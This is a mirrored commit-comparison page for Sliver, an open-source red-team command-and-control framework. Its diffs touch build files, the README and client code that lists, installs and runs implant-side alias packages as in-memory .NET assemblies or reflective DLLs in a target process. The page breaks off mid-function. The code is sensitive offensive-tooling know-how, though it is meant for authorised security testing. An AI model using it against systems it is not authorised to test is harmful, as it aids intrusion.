mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1e8413a2fe | ||
|
|
ead0a5ea1e | ||
|
|
d0ec264454 | ||
|
|
9c7e47c95e | ||
|
|
4c5a099d5c | ||
|
|
4ed42e4a3d | ||
|
|
ffee881de0 | ||
|
|
339bf15387 | ||
|
|
92c9a50ba7 | ||
|
|
99e6765896 | ||
|
|
b5d1e9a3d1 | ||
|
|
d1dbd3dcb7 | ||
|
|
8b81de5129 | ||
|
|
bcc7fb0fcb | ||
|
|
795001f690 | ||
|
|
b0c4f89bcf | ||
|
|
fb72322065 | ||
|
|
a1e51d64d4 | ||
|
|
d15c257176 | ||
|
|
97d3da75b6 | ||
|
|
4e3efeb623 | ||
|
|
81c7dd69da | ||
|
|
6c3b754943 | ||
|
|
fbea84eeb6 | ||
|
|
0c83bdc6d1 | ||
|
|
476eafccf5 | ||
|
|
1501633565 | ||
|
|
addd22d2f7 | ||
|
|
f196278c3e | ||
|
|
3aa33d3679 | ||
|
|
ab197461ae | ||
|
|
6488df4374 | ||
|
|
15c5eb29e5 | ||
|
|
91e4f5a33b | ||
|
|
62a6ffd1ac | ||
|
|
336e944aee | ||
|
|
a69512ba65 | ||
|
|
3a1cd3a477 | ||
|
|
da0499f9da | ||
|
|
3169b436a8 | ||
|
|
26faea2ae0 | ||
|
|
11eb5f5f27 | ||
|
|
49d742cfad | ||
|
|
028521ddc0 | ||
|
|
66dad91d86 | ||
|
|
b9f8e045d9 | ||
|
|
8ffad32591 | ||
|
|
d60dcabd86 | ||
|
|
68cece2b96 | ||
|
|
5d3ef197e3 | ||
|
|
62c8d678e2 | ||
|
|
68fd6b27f9 | ||
|
|
21d2a10b7a | ||
|
|
efd4115a1c | ||
|
|
eed3f51be2 | ||
|
|
54b09d9a26 | ||
|
|
1bc1bc11c0 | ||
|
|
14aebe943c | ||
|
|
0f20dddc95 | ||
|
|
75e0b9d931 | ||
|
|
7af5280cd6 | ||
|
|
1d86383e0d | ||
|
|
3be52dde2f | ||
|
|
8b18bf571a | ||
|
|
6dacb8ad9f | ||
|
|
1db8e5a22e | ||
|
|
45f323eae9 | ||
|
|
22e615b1b4 | ||
|
|
afa534ea39 | ||
|
|
10429b7314 | ||
|
|
dfb6d2e1bb | ||
|
|
de3f2c827d | ||
|
|
4569621a8a | ||
|
|
f21242ca2c | ||
|
|
c13a71c92f | ||
|
|
9b85a63f69 | ||
|
|
fdab12c9a5 | ||
|
|
26abb42859 | ||
|
|
bf892e9c4b | ||
|
|
cb7f2b1aea | ||
|
|
44f16bb6a3 | ||
|
|
51af17906c | ||
|
|
4ba374cee6 | ||
|
|
55c1145b2d | ||
|
|
336fc4ffea | ||
|
|
581395e9a4 | ||
|
|
16ce440014 | ||
|
|
2bf87bff98 | ||
|
|
65788c1003 | ||
|
|
b0ff16aff9 | ||
|
|
18137f630b | ||
|
|
beab818baf | ||
|
|
16a539807b | ||
|
|
d13a8a1e91 | ||
|
|
7ab136339e | ||
|
|
2e3c33689a | ||
|
|
8891c542b8 | ||
|
|
bfe3d6dfb5 | ||
|
|
fb573bb122 | ||
|
|
f780f70318 | ||
|
|
12c6a57362 | ||
|
|
afc8ccd61d | ||
|
|
5b3f1eeb7b | ||
|
|
2e1aa54130 | ||
|
|
97715302a3 |
No files matched your search
+1
-1
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.17.5
|
||||
FROM golang:1.17.6
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
|
||||
@@ -6,10 +6,25 @@ GO ?= go
|
||||
ENV =
|
||||
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
|
||||
|
||||
#
|
||||
# Prerequisites
|
||||
#
|
||||
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
|
||||
EXECUTABLES = uname sed git zip date cut $(GO)
|
||||
K := $(foreach exec,$(EXECUTABLES),\
|
||||
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
|
||||
|
||||
#
|
||||
# Version Information
|
||||
#
|
||||
GO_VERSION = $(shell $(GO) version)
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 17
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
|
||||
@@ -17,8 +32,10 @@ CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
|
||||
VERSION_PKG = github.com/bishopfox/sliver/client/version
|
||||
|
||||
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
@@ -30,14 +47,6 @@ LDFLAGS = -ldflags "-s -w \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
|
||||
#
|
||||
# Prerequisites
|
||||
#
|
||||
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
|
||||
EXECUTABLES = uname sed git zip date $(GO)
|
||||
K := $(foreach exec,$(EXECUTABLES),\
|
||||
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
|
||||
|
||||
SED_INPLACE := sed -i
|
||||
STATIC_TARGET := linux
|
||||
|
||||
@@ -87,27 +96,27 @@ endif
|
||||
# Targets
|
||||
#
|
||||
.PHONY: default
|
||||
default: clean
|
||||
default: clean validate-go-version
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: macos
|
||||
macos: clean
|
||||
macos: clean validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: macos-arm64
|
||||
macos-arm64: clean
|
||||
macos-arm64: clean validate-go-version
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
|
||||
|
||||
.PHONY: linux
|
||||
linux: clean
|
||||
linux: clean validate-go-version
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: windows
|
||||
windows: clean
|
||||
windows: clean validate-go-version
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
|
||||
|
||||
@@ -119,6 +128,17 @@ pb:
|
||||
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
||||
|
||||
validate-go-version:
|
||||
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
exit 0 ;\
|
||||
elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
|
||||
exit 1; \
|
||||
elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
|
||||
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
|
||||
exit 1; \
|
||||
fi
|
||||
|
||||
.PHONY: clean-all
|
||||
clean-all: clean
|
||||
rm -rf ./server/assets/fs/darwin/amd64
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
Sliver
|
||||
======
|
||||
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
|
||||
|
||||
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||
|
||||
@@ -17,13 +17,11 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
|
||||
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
|
||||
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
|
||||
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
|
||||
* Local and remote process injection
|
||||
* Windows process migration
|
||||
* Windows user token manipulation
|
||||
* Anti-fingerprinting features
|
||||
* Windows process migration, process injection, user token manipulation, etc.
|
||||
* Let's Encrypt integration
|
||||
* In-memory .NET assembly execution
|
||||
* COFF/BOF in-memory loader
|
||||
* TCP and named pipe pivots
|
||||
* Much more!
|
||||
|
||||
### Getting Started
|
||||
|
||||
+1
-40
@@ -19,9 +19,7 @@ package assets
|
||||
*/
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
@@ -32,11 +30,6 @@ import (
|
||||
ver "github.com/bishopfox/sliver/client/version"
|
||||
)
|
||||
|
||||
var (
|
||||
//go:embed fs/*
|
||||
clientAssetsFs embed.FS
|
||||
)
|
||||
|
||||
const (
|
||||
// SliverClientDirName - Directory storing all of the client configs/logs
|
||||
SliverClientDirName = ".sliver-client"
|
||||
@@ -80,47 +73,15 @@ func Setup(force bool, echo bool) {
|
||||
if force || localVer == "" || localVer != ver.GitCommit {
|
||||
if echo {
|
||||
fmt.Printf(`
|
||||
Sliver Copyright (C) 2021 Bishop Fox
|
||||
Sliver Copyright (C) 2022 Bishop Fox
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type 'licenses' for details.`)
|
||||
fmt.Printf("\n\nUnpacking assets ...\n")
|
||||
}
|
||||
err := setupDefaultExtensions(appDir)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
log.Fatal(err)
|
||||
}
|
||||
saveAssetVersion(appDir)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
|
||||
SaveSettings(nil)
|
||||
}
|
||||
}
|
||||
|
||||
func setupDefaultExtensions(appDir string) error {
|
||||
localExtDir := GetExtensionsDir()
|
||||
rootEmbedPath := "fs/extensions"
|
||||
return fs.WalkDir(clientAssetsFs, rootEmbedPath, func(embedPath string, embedDir fs.DirEntry, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
localPath := strings.TrimPrefix(embedPath, rootEmbedPath)
|
||||
if embedDir.IsDir() {
|
||||
err := os.MkdirAll(filepath.Join(localExtDir, localPath), 0o700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
data, err := fs.ReadFile(clientAssetsFs, embedPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(localExtDir, localPath), data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
@@ -19,12 +19,17 @@ package alias
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
)
|
||||
|
||||
// AliasesCmd - The alias command
|
||||
@@ -32,7 +37,7 @@ func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if 0 < len(loadedAliases) {
|
||||
PrintAliases(con)
|
||||
} else {
|
||||
con.PrintInfof("No aliases loaded\n")
|
||||
con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -43,21 +48,37 @@ func PrintAliases(con *console.SliverConsoleClient) {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Command Name",
|
||||
"Platforms",
|
||||
"Version",
|
||||
"Installed",
|
||||
".NET Assembly",
|
||||
"Reflective",
|
||||
"Help",
|
||||
"Tool Author",
|
||||
"Repository",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
tw.SetColumnConfigs([]table.ColumnConfig{
|
||||
{Number: 5, Align: text.AlignCenter},
|
||||
})
|
||||
|
||||
for _, alias := range loadedAliases {
|
||||
installedManifests := getInstalledManifests()
|
||||
for _, aliasPkg := range loadedAliases {
|
||||
installed := ""
|
||||
if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
|
||||
installed = "✅"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
alias.Manifest.Name,
|
||||
alias.Manifest.CommandName,
|
||||
alias.Manifest.IsAssembly,
|
||||
alias.Manifest.IsReflective,
|
||||
alias.Manifest.Help,
|
||||
aliasPkg.Manifest.Name,
|
||||
aliasPkg.Manifest.CommandName,
|
||||
strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
|
||||
aliasPkg.Manifest.Version,
|
||||
installed,
|
||||
aliasPkg.Manifest.IsAssembly,
|
||||
aliasPkg.Manifest.IsReflective,
|
||||
aliasPkg.Manifest.OriginalAuthor,
|
||||
aliasPkg.Manifest.RepoURL,
|
||||
})
|
||||
}
|
||||
con.Println(tw.Render())
|
||||
@@ -73,3 +94,33 @@ func AliasCommandNameCompleter(prefix string, args []string, con *console.Sliver
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func aliasPlatforms(aliasPkg *AliasManifest) []string {
|
||||
platforms := map[string]string{}
|
||||
for _, entry := range aliasPkg.Files {
|
||||
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
|
||||
}
|
||||
keys := []string{}
|
||||
for key := range platforms {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
return keys
|
||||
}
|
||||
|
||||
func getInstalledManifests() map[string]*AliasManifest {
|
||||
manifestPaths := assets.GetInstalledAliasManifests()
|
||||
installedManifests := map[string]*AliasManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &AliasManifest{}
|
||||
err = json.Unmarshal(data, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
installedManifests[manifest.CommandName] = manifest
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
@@ -111,7 +112,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
|
||||
@@ -152,10 +153,13 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
}
|
||||
|
||||
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, artifactPath)
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return fmt.Errorf("empty file %s", artifactPath)
|
||||
}
|
||||
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
|
||||
artifactDir := filepath.Dir(localArtifactPath)
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
@@ -97,18 +98,22 @@ func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err er
|
||||
}
|
||||
|
||||
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
var filePath string
|
||||
var err error
|
||||
for _, ef := range a.Files {
|
||||
if targetOS == ef.OS && targetArch == ef.Arch {
|
||||
filePath = ef.Path
|
||||
filePath := ""
|
||||
for _, extFile := range a.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err = fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
|
||||
err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
|
||||
return "", err
|
||||
}
|
||||
return filePath, err
|
||||
if _, err := os.Stat(filePath); os.IsNotExist(err) {
|
||||
err = fmt.Errorf("alias file not found: %s", filePath)
|
||||
return "", err
|
||||
}
|
||||
return filePath, nil
|
||||
}
|
||||
|
||||
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
|
||||
@@ -123,37 +128,36 @@ func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
// LoadAlias - Load an alias into the Sliver shell from a given directory
|
||||
func LoadAlias(dirPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
|
||||
func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
|
||||
// retrieve alias manifest
|
||||
var err error
|
||||
dirPath, err = filepath.Abs(dirPath)
|
||||
manifestPath, err = filepath.Abs(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// parse it
|
||||
manifestPath := filepath.Join(dirPath, ManifestFileName)
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
alias, err := ParseAliasManifest(data)
|
||||
aliasManifest, err := ParseAliasManifest(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
alias.RootPath = filepath.Dir(manifestPath)
|
||||
aliasManifest.RootPath = filepath.Dir(manifestPath)
|
||||
// for each alias command, add a new app command
|
||||
|
||||
// do not add if the command already exists
|
||||
if cmdExists(alias.CommandName, con.App) {
|
||||
return nil, fmt.Errorf("'%s' command already exists", alias.CommandName)
|
||||
if cmdExists(aliasManifest.CommandName, con.App) {
|
||||
return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
|
||||
}
|
||||
|
||||
helpMsg := fmt.Sprintf("[%s] %s", alias.Name, alias.Help)
|
||||
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
|
||||
addAliasCmd := &grumble.Command{
|
||||
Name: alias.Name,
|
||||
Name: aliasManifest.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(alias.LongHelp),
|
||||
LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runAliasCommand(extCtx, con)
|
||||
@@ -161,7 +165,7 @@ func LoadAlias(dirPath string, con *console.SliverConsoleClient) (*AliasManifest
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if alias.IsAssembly {
|
||||
if aliasManifest.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
@@ -181,14 +185,15 @@ func LoadAlias(dirPath string, con *console.SliverConsoleClient) (*AliasManifest
|
||||
|
||||
// Have to use a global map here, as passing the aliasCmd
|
||||
// either by value or by ref fucks things up
|
||||
loadedAliases[alias.Name] = &loadedAlias{
|
||||
Manifest: alias,
|
||||
loadedAliases[aliasManifest.CommandName] = &loadedAlias{
|
||||
Manifest: aliasManifest,
|
||||
Command: addAliasCmd,
|
||||
}
|
||||
|
||||
return alias, nil
|
||||
return aliasManifest, nil
|
||||
}
|
||||
|
||||
// ParseAliasManifest - Parse an alias manifest
|
||||
func ParseAliasManifest(data []byte) (*AliasManifest, error) {
|
||||
// parse it
|
||||
alias := &AliasManifest{}
|
||||
@@ -234,23 +239,23 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
alias := loadedAlias.Manifest
|
||||
binPath, err := alias.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
|
||||
aliasManifest := loadedAlias.Manifest
|
||||
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
con.PrintErrorf("Fail to find alias file: %s\n", err)
|
||||
return
|
||||
}
|
||||
args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
if len(alias.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = alias.DefaultArgs
|
||||
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = aliasManifest.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
}
|
||||
entryPoint := alias.Entrypoint
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = alias.getDefaultProcess(session.GetOS())
|
||||
processName, err = aliasManifest.getDefaultProcess(session.GetOS())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -274,7 +279,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
}
|
||||
if alias.IsAssembly {
|
||||
if aliasManifest.IsAssembly {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
@@ -300,7 +305,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
outFilePath.Write(executeAssemblyResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else if alias.IsReflective {
|
||||
} else if aliasManifest.IsReflective {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
@@ -309,7 +314,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: alias.Entrypoint,
|
||||
EntryPoint: aliasManifest.Entrypoint,
|
||||
Kill: true,
|
||||
})
|
||||
ctrl <- true
|
||||
|
||||
@@ -35,6 +35,7 @@ import (
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
type ArmoryIndex struct {
|
||||
@@ -102,7 +103,7 @@ func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(indexCacheEntry)
|
||||
if cacheEntry.LastErr != nil {
|
||||
con.PrintErrorf("%s: %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
}
|
||||
return true
|
||||
})
|
||||
@@ -123,7 +124,7 @@ func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if errorCount == 0 {
|
||||
con.Printf("errors!\n")
|
||||
}
|
||||
con.PrintErrorf("%s: %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
} else {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
@@ -193,14 +194,14 @@ func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.
|
||||
results := []string{}
|
||||
aliases, exts := packagesInCache()
|
||||
bundles := bundlesInCache()
|
||||
for _, alias := range aliases {
|
||||
if strings.HasPrefix(alias.CommandName, prefix) {
|
||||
results = append(results, alias.CommandName)
|
||||
for _, aliasPkg := range aliases {
|
||||
if strings.HasPrefix(aliasPkg.CommandName, prefix) {
|
||||
results = append(results, aliasPkg.CommandName)
|
||||
}
|
||||
}
|
||||
for _, extension := range exts {
|
||||
if strings.HasPrefix(extension.CommandName, prefix) {
|
||||
results = append(results, extension.CommandName)
|
||||
for _, extensionPkg := range exts {
|
||||
if strings.HasPrefix(extensionPkg.CommandName, prefix) {
|
||||
results = append(results, extensionPkg.CommandName)
|
||||
}
|
||||
}
|
||||
for _, bundle := range bundles {
|
||||
@@ -213,6 +214,38 @@ func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.
|
||||
|
||||
// PrintArmoryPackages - Prints the armory packages
|
||||
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
||||
|
||||
minWidth := 150
|
||||
if minWidth < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
"URL",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
})
|
||||
}
|
||||
|
||||
// Columns start at 1 for some dumb reason
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Number: 1, Mode: table.Asc},
|
||||
})
|
||||
|
||||
type pkgInfo struct {
|
||||
CommandName string
|
||||
Version string
|
||||
@@ -221,13 +254,13 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
URL string
|
||||
}
|
||||
entries := []pkgInfo{}
|
||||
for _, alias := range aliases {
|
||||
for _, aliasPkg := range aliases {
|
||||
entries = append(entries, pkgInfo{
|
||||
